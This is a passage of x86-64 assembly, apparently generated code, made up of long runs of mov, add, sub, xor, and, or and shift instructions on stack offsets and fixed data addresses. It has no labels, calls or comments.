mov rax, qword [rsp + 0x6868]
mov ecx, dword [rsp + 0x2f78]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x30d4], eax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov dword [rsp + 0x3184], eax
lea rax, [rsp + 0x94]
mov qword [0x1401148e0], rax
movzx eax, word [rsp + 0xe8c]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6fc8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe9c]
mov word [rsp + 0xf3c], ax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [0x140114680]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5050]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1b4]
mov rcx, qword [rsp + 0x69d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x3188], eax
mov rax, qword [rsp + 0x5d40]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x83a8], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov dword [rsp + 0x318c], eax
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x82b0]
mov qword [rcx], rax
movsx eax, byte [0x1401130a6]
movsx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [0x140114320]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x1c4], al
movsx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0x6620]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd18], ax
movzx eax, byte [0x140113016]
mov rcx, qword [rsp + 0x5470]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x8420], rax
mov rax, qword [rsp + 0x7038]
mov ecx, dword [rsp + 0x2c04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d38], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x8428], rax
mov rax, qword [rsp + 0x6390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6190]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6648]
mov ecx, dword [rsp + 0x2bf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x76f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xa98]
add eax, ecx
mov word [0x1401142b0], ax
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0xcd]
shl eax, cl
mov rcx, qword [rsp + 0x63a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xac4]
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6f40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x8360]
mov rcx, qword [rsp + 0x7c88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
lea rax, [rsp + 0x3140]
mov qword [rsp + 0x8430], rax
mov eax, dword [rsp + 0x2d5c]
mov rcx, qword [rsp + 0x55e0]
mov qword [rsp + 0x8438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8438]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74f8]
mov qword [rsp + 0x8440], rax
mov rax, qword [0x1401141b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd8]
add eax, ecx
mov rcx, qword [rsp + 0x7ff8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x5ba8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401130ae], al
movsx eax, byte [0x140114225]
movsx ecx, byte [rsp + 0x1b5]
add eax, ecx
mov byte [rsp + 0x144], al
lea rax, [rsp + 0xe58]
mov qword [rsp + 0x8448], rax
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa84]
sub eax, ecx
mov word [rsp + 0xa4c], ax
mov rax, qword [rsp + 0x7080]
mov qword [rsp + 0x8450], rax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7290]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x6690]
mov eax, dword [rax]
mov dword [rsp + 0x3190], eax
mov rax, qword [rsp + 0x7ef8]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3154], eax
mov rax, qword [rsp + 0x6bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5980]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6198]
mov byte [rcx], al
movzx eax, byte [rsp + 0x14d]
mov byte [0x1401142b2], al
mov rax, qword [rsp + 0x58a8]
movzx eax, word [rax]
mov word [rsp + 0xf44], ax
movzx eax, word [0x140113030]
mov rcx, qword [rsp + 0x65a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb68], ax
lea rax, [rsp + 0x978]
mov qword [rsp + 0x8458], rax
mov rax, qword [rsp + 0x7c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b94]
mov ecx, dword [rsp + 0x2b00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c64], eax
mov eax, dword [rsp + 0x3180]
mov dword [rsp + 0x3194], eax
mov rax, qword [rsp + 0x6958]
mov rcx, qword [rsp + 0x6150]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x6108]
movzx eax, word [rax]
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe0]
xor eax, ecx
mov rcx, qword [0x1401148e0]
mov byte [rcx], al
movzx eax, word [rsp + 0xed8]
movzx ecx, word [0x1401147e8]
shl eax, cl
mov rcx, qword [rsp + 0x6358]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe0]
movsx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [rsp + 0x5a58]
mov byte [rcx], al
lea rax, [rsp + 0xd3]
mov qword [rsp + 0x8460], rax
movsx eax, word [rsp + 0x8c8]
mov rcx, qword [rsp + 0x68a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov dword [rsp + 0x3198], eax
mov rax, qword [rsp + 0x75e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b88], eax
lea rax, [rsp + 0x7808]
mov qword [rsp + 0x8468], rax
mov rax, qword [rsp + 0x83c8]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5db0], rax
mov rax, qword [rsp + 0x5908]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114290]
mov word [rcx], ax
mov rax, qword [0x140114268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x8470], rax
movzx eax, word [rsp + 0xa7c]
mov rcx, qword [rsp + 0x6088]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
lea rax, [rsp + 0x9e8]
mov qword [rsp + 0x8478], rax
mov rax, qword [rsp + 0x5d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f38]
mov rcx, qword [rsp + 0x7878]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6168]
mov rax, qword [rax]
mov qword [rsp + 0x8480], rax
mov rax, qword [rsp + 0x82b8]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f7c], eax
mov rax, qword [rsp + 0x62f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130af], al
movzx eax, byte [rsp + 0x12d]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0x70a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17c]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfa], al
lea rax, [rsp + 0x11a]
mov qword [rsp + 0x8488], rax
mov eax, dword [rsp + 0x2ca4]
movzx ecx, al
mov eax, dword [rsp + 0x2df4]
shl eax, cl
mov dword [rsp + 0x2cdc], eax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
mov qword [rsp + 0x8490], rax
mov rax, qword [rsp + 0x6e20]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x72c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5310]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8090], rax
movzx eax, word [rsp + 0xe44]
movzx ecx, word [0x140113090]
and eax, ecx
mov word [0x140113154], ax
movzx eax, word [rsp + 0xe0c]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x5990]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov byte [rsp + 0x110], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x1c7], al
mov rax, qword [0x1401145f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x8498], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70e0]
mov rcx, qword [rsp + 0x7e28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d20], rax
lea rax, [rsp + 0x2c88]
mov qword [rsp + 0x84a0], rax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
movzx ecx, byte [0x140113007]
add eax, ecx
mov byte [0x140113097], al
movsx eax, word [rsp + 0xe64]
movsx ecx, word [rsp + 0xc04]
sub eax, ecx
mov word [rsp + 0x950], ax
movzx eax, word [rsp + 0xc14]
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e], al
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x11a]
add eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x56d8]
mov qword [rsp + 0x84a8], rax
mov rax, qword [0x140113008]
movzx ecx, al
mov rax, qword [rsp + 0x5db0]
shl rax, cl
mov rcx, qword [rsp + 0x6f08]
mov qword [rcx], rax
lea rax, [rsp + 0x3058]
mov qword [rsp + 0x84b0], rax
mov eax, dword [rsp + 0x2d78]
mov ecx, dword [rsp + 0x3018]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f8c], eax
mov rax, qword [0x140114710]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140114540]
mov word [rcx], ax
mov rax, qword [rsp + 0x7860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5d28]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b78]
mov word [rcx], ax
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov word [rsp + 0xf54], ax
movsx eax, word [0x140113028]
movsx ecx, word [rsp + 0x968]
and eax, ecx
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0x7180]
mov ecx, dword [rsp + 0x2df8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e70], eax
lea rax, [0x140113008]
mov qword [rsp + 0x84b8], rax
mov rax, qword [rsp + 0x79f0]
mov rcx, qword [rsp + 0x6c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x7b20]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e04], eax
movsx eax, byte [rsp + 0x123]
mov rcx, qword [rsp + 0x6170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130b2], al
movzx eax, byte [rsp + 0x1a1]
mov byte [rsp + 0x1c9], al
movzx eax, word [rsp + 0xc8c]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
lea rax, [rsp + 0xb3c]
mov qword [rsp + 0x84c0], rax
movzx eax, byte [rsp + 0x1a3]
movzx ecx, byte [rsp + 0x35]
sub eax, ecx
mov rcx, qword [rsp + 0x5f90]
mov byte [rcx], al
mov eax, dword [rsp + 0x2e60]
mov ecx, dword [rsp + 0x2e14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3000], eax
lea rax, [rsp + 0x2e64]
mov qword [rsp + 0x84c8], rax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x6f00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x80d0]
mov rax, qword [rax]
mov qword [rsp + 0x84d0], rax
lea rax, [rsp + 0x64]
mov qword [0x1401148e8], rax
mov rax, qword [rsp + 0x8318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd1]
add eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x84d8], rax
mov rax, qword [rsp + 0x8070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
or eax, ecx
mov word [rsp + 0xc2c], ax
lea rax, [rsp + 0x53b8]
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3158]
shr eax, cl
mov dword [rsp + 0x30c0], eax
mov eax, dword [rsp + 0x2f48]
mov rcx, qword [rsp + 0x6278]
mov qword [rsp + 0x84e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x84e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2dec], eax
mov rax, qword [rsp + 0x7140]
mov qword [rsp + 0x84f0], rax
mov rax, qword [0x140114848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e08]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7fb0]
mov word [rcx], ax
movzx eax, word [rsp + 0xbfc]
movzx ecx, word [rsp + 0xa74]
sub eax, ecx
mov word [0x140113040], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0x84f8], rax
mov rax, qword [rsp + 0x6b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
add eax, ecx
mov byte [rsp + 0x57], al
movzx eax, word [rsp + 0x934]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0x7dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3054]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5098]
mov rcx, qword [rsp + 0x5f50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ea8], rax
mov rax, qword [rsp + 0x7f48]
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x7010]
mov rcx, qword [rsp + 0x7eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x51a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov byte [rsp + 0x1ca], al
movzx eax, byte [rsp + 0xbc]
mov byte [0x1401142b3], al
movsx eax, byte [rsp + 0x10b]
movsx ecx, byte [rsp + 0x12e]
and eax, ecx
mov rcx, qword [rsp + 0x65f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
add eax, ecx
mov rcx, qword [rsp + 0x79d8]
mov word [rcx], ax
lea rax, [rsp + 0xd2]
mov qword [rsp + 0x8508], rax
mov eax, dword [rsp + 0x2fcc]
mov ecx, dword [rsp + 0x3004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c10], eax
mov rax, qword [rsp + 0x57e8]
mov rax, qword [rax]
mov qword [rsp + 0x8510], rax
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x5b60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x6590]
mov qword [rsp + 0x8518], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8518]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6300], rax
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x8520], rax
mov rax, qword [rsp + 0x65e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf58]
xor eax, ecx
mov rcx, qword [0x1401147d0]
mov word [rcx], ax
movsx eax, word [rsp + 0xcb8]
movsx ecx, word [rsp + 0xf28]
sar eax, cl
mov word [rsp + 0x98c], ax
movzx eax, byte [rsp + 0x1b1]
mov byte [rsp + 0x1cb], al
mov rax, qword [rsp + 0x5d30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6260]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8058]
mov byte [rcx], al
mov eax, dword [rsp + 0x2db4]
mov ecx, dword [rsp + 0x2dbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c28], eax
mov rax, qword [rsp + 0x6800]
mov qword [rsp + 0x8528], rax
movabs rax, 0x77a9ef85f67580
mov rcx, qword [rsp + 0x73c8]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b08], rax
mov eax, dword [rsp + 0x2c54]
mov dword [rsp + 0x319c], eax
movzx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x7a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113093], al
movzx eax, word [rsp + 0x9f8]
mov word [rsp + 0xf5c], ax
mov rax, qword [0x1401141a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0x8c0], ax
movsx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0x7428]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x5238]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x310c]
mov dword [rsp + 0x31a0], eax
mov rax, qword [rsp + 0x7c10]
mov rcx, qword [rsp + 0x5ea0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6b00], rax
mov eax, dword [rsp + 0x303c]
mov ecx, dword [rsp + 0x2e20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e68], eax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [0x1401130b3], al
lea rax, [0x1401130a8]
mov qword [rsp + 0x8530], rax
mov rax, qword [rsp + 0x6640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7110]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b00]
mov byte [rcx], al
mov rax, qword [rsp + 0x7988]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc], al
movzx eax, word [rsp + 0x9f8]
mov rcx, qword [0x1401146e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x6038]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54f8]
mov qword [rsp + 0x8538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8538]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6010], rax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
mov dword [rsp + 0x31a4], eax
mov eax, dword [rsp + 0x2ec4]
mov rcx, qword [rsp + 0x7888]
mov qword [rsp + 0x8540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8540]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6698]
mov dword [rcx], eax
lea rax, [rsp + 0x5928]
mov qword [rsp + 0x8548], rax
movsx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130b6], al
mov rax, qword [0x140114888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x65e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x68d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cd], al
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0xf4]
add eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
movsx eax, word [0x140113124]
mov rcx, qword [rsp + 0x60e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x8550], rax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x6938]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5380], rax
lea rax, [0x140114160]
mov qword [rsp + 0x8558], rax
mov eax, dword [rsp + 0x2b74]
mov ecx, dword [rsp + 0x2d48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cb8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0x79c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114750]
mov word [rcx], ax
movzx eax, byte [0x140113033]
mov rcx, qword [rsp + 0x6c30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d88]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0xf34]
mov rcx, qword [rsp + 0x7928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa0], ax
lea rax, [0x140113100]
mov qword [rsp + 0x8560], rax
mov rax, qword [rsp + 0x6d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7800], rax
mov rax, qword [rsp + 0x6f68]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5320], rax
mov rax, qword [rsp + 0x7be8]
mov eax, dword [rax]
mov dword [rsp + 0x31a8], eax
mov eax, dword [rsp + 0x2e5c]
mov ecx, dword [rsp + 0x2b48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3024], eax
mov rax, qword [rsp + 0x6140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe40]
shl eax, cl
mov word [0x1401142b0], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x78a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x101], al
movsx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb78], ax
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x5350]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ea8], rax
mov eax, dword [rsp + 0x30a4]
mov dword [rsp + 0x31ac], eax
mov rax, qword [rsp + 0x5918]
mov rcx, qword [rsp + 0x6308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x8568], rax
lea rax, [rsp + 0x89c]
mov qword [0x1401148f0], rax
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x12f]
movzx ecx, byte [rsp + 0x1a7]
sub eax, ecx
mov rcx, qword [rsp + 0x7b00]
mov byte [rcx], al
lea rax, [rsp + 0xa98]
mov qword [rsp + 0x8570], rax
movsx eax, byte [0x140113026]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x30d8]
mov dword [rsp + 0x31b0], eax
mov rax, qword [rsp + 0x7a60]
mov ecx, dword [rsp + 0x2c3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e60], eax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x78b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x76c8], rax
lea rax, [rsp + 0x7868]
mov qword [rsp + 0x8578], rax
movsx eax, word [rsp + 0x8c8]
movsx ecx, word [rsp + 0xb94]
add eax, ecx
mov word [0x140114318], ax
movsx eax, word [rsp + 0x88c]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7e00]
mov word [rcx], ax
lea rax, [rsp + 0x142]
mov qword [rsp + 0x8580], rax
mov rax, qword [rsp + 0x5b48]
movzx eax, word [rax]
movzx ecx, word [0x1401130b8]
sub eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa00]
or eax, ecx
mov rcx, qword [rsp + 0x5848]
mov word [rcx], ax
lea rax, [rsp + 0x2fbc]
mov qword [rsp + 0x8588], rax
mov rax, qword [rsp + 0x7630]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4fb0]
sar rax, cl
mov qword [rsp + 0x6c60], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov dword [rsp + 0x31b4], eax
mov rax, qword [rsp + 0x8340]
movzx ecx, al
mov rax, qword [rsp + 0x5fb8]
shl rax, cl
mov qword [rsp + 0x67d0], rax
lea rax, [rsp + 0xaa4]
mov qword [0x1401148f8], rax
movzx eax, word [0x1401130c0]
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x17e]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b], al
movzx eax, byte [0x140113073]
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0x5a88]
mov rcx, qword [rsp + 0x5fa0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x8398], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x31b8], eax
mov rax, qword [rsp + 0x7c10]
mov rcx, qword [rsp + 0x65b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78c8], rax
